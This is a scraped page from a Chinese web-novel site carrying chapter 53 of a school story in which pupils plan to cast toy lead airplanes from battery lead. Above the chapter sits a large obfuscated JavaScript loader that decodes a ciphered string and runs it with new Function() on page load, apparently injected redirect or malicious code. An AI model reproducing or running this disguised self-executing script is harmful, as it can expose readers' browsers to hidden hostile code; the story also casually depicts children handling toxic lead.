趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第53章 学生4做小飞机(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

贾新艺回到讲台上,说道:“安静,安静,听我说。这节课是劳动课,老师让大家学习如何做小飞机。现在,请孙丽丽告诉大家如何做铅飞机,不用大家欢迎了,来,上来吧!”

孙丽丽拿着飞机走上讲台,问:“这个飞机好不好看?”

“好看!”同学们齐声回答。

“我是照着连环画上飞机的样子做的。怎么做呢?先找一块小木方,在木方上照着飞机的样子画下来,再用小刀把画抠下来,抠出一个模子,然后用砂纸打磨一下,让模子内壁光滑。再找来铅片,放入坩埚中,点木柴把铅烧化,倒进模子里,等铅凉了倒出来就行。”

高文革问:“很热很热的东西倒入木头里,不会着火吗?”

“我用的是硬木,是我哥帮忙做的。”

“太难了。”同学们唉声叹气,“不会呀,太难了。”

确实,多数同学连飞机都画不下来,更别说刻模子了,而且大家也没有坩埚,这可怎么办呢?

大家一下子没了精神,开始三三两两地玩了起来。

孙丽丽见自己被冷落,赶紧说:“我多做几个给大家,但太多也做不了呀,因为木模用一次里面就烧黑了,我哥说还要把黑的清理出来,加上湿沙土修模才能再用,这可怎么办呀?”

“好办。”李风顺一边翻书一边说,“大家到外面弄点粘土,用孙丽丽的飞机摁下去就是一个飞机模子。铅的熔点低,只有327度,用孙丽丽的坩埚,烧化倒入泥模就行。”

高文革吃惊地看着李风顺,说:“这你也知道,是做梦知道的?”

李风顺说:“我也不知道是不是做梦知道的,只是你们说的时候,我感觉是这么一回事。”

郑云燕撇了撇嘴,说:“那也不行,到哪儿找铅去?”

大家一听,这确实是个不好办的事,目光又都投向了李风顺。

李风顺想了想说:“好办,到运输队找废旧的蓄电池,把蓄电池中的铅板取回来就行。不过那东西有毒,取完后要及时洗手。”

李风顺说完,很多同学都说他太厉害了。

女同学不想让男同学把女同学比下去,都说孙丽丽厉害。

贾新艺站了起来,说:“别吵吵,我安排一下。下课后,周山、吴权,你俩负责找土,做粘土,孙丽丽帮忙压模,做好后放在最后的桌堂中,不要让老师发现。” 他转头看向刘远胜,“刘远胜,你与李风顺放学后一起去找铅片。”

“我也去找铅片。”一个小姑娘的声音让大家的目光都转向了她。

周山不认识她,她和贾新艺同桌,她的朝天辫很有特点,两根不长的小辫朝向天空,火红的红头绳非常醒目。

她眼睛不大,嘴却不小。

“她叫什么?”周山问郑云燕,郑云燕说:“我也不知道。”

裴靖回过头来说:“纪迎春,她爸是运输科科长。”

下课了,周山、吴权拿着教室的水盆及撮子到操场边树棵处取土,不一会儿就端了回来。

二人气喘吁吁地弯着腰,走进教室,把水盆、撮子放在地上时,发出很大的声响,“哐当”一声,土溅到了地上。

郑云燕很生气,说:“都弄撒了,笨蛋!”

“谁笨蛋,你试试,老沉了,也就是我们俩,换人试试!”吴权非常生气。郑云燕走近撮子,弯腰用一只手拽,没有拽动。

吴权说:“站着说话不腰疼。”

周山补充一句:“撮子装得少,你都拿不动,盆里装得多,你试试!”郑云燕瞪了他一眼。

贾新艺看到他们吵吵,非常反感,说:“吵吵啥,吴权把水盆、撮子放到门后,别让老师看见,放地中间干什么?”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间